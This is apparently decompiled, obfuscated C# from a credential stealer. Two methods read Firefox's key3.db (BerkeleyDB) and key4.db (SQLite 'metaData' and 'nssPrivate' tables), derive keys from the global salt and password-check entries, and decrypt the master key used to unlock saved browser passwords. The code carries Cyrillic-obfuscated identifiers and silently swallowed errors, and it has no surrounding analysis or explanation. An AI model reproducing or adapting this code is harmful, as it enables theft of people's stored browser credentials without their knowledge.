// Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30 private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); ррп6 berkeleyDB = new ррп6(file); о6а о6а = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); р6прлгв р6прлгв = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt)); р6прлгв.го7па(); шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None); нкрпар нкрпар = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); р6прлгв2.го7па(); нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); } else { array = нкрпар2.Objects[0].Objects[3].ObjectData; } } catch (Exception) { } return(array); }
private static byte[] p4k(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } CNT cNT = new CNT(file); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, "item2)"); нкрпар нкрпар = Апн.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = нкрпар.Objects[0].Objects[1].ObjectData; р6прлгв р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); р6прлгв.го7па(); шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(strg.Key4MagicNumber)) { s3 = cNT.ParseValue(i, "a11"); break; } } нкрпар нкрпар2 = Апн.Create(Encoding.Default.GetBytes(s3)); objectData = нкрпар2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = нкрпар2.Objects[0].Objects[1].ObjectData; р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); р6прлгв.го7па(); result = Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch (Exception) { return(result); } }